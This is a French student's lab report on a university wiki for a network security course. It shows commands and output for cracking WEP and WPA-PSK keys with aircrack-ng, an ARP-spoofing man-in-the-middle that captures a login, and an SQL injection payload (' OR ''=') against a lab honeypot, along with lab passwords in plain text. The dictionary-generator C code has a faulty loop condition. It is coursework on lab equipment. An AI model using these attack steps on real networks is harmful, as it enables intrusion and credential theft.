On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;br /&gt;
&lt;br /&gt;
== Supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aidé mes camarades. &lt;br /&gt;
&lt;br /&gt;
Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancé son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancé.&lt;br /&gt;
&lt;br /&gt;
Puis, au niveau de de la sécurisation du site web par certificat et par DNSSEC.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi réalisé d'autres travaux comme l'utilisateur username.&lt;br /&gt;
&lt;br /&gt;
Une interconnexion, j'ai connecté mes routeurs 6509 et 3560E, ils ont alors été en conflits mais les VM répondent tout de même.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi eu un moment une connexion avec SSID_Lulya avec mon portable sans internet ce qui est normal.&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54758</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54758"/>
				<updated>2020-12-15T22:29:29Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
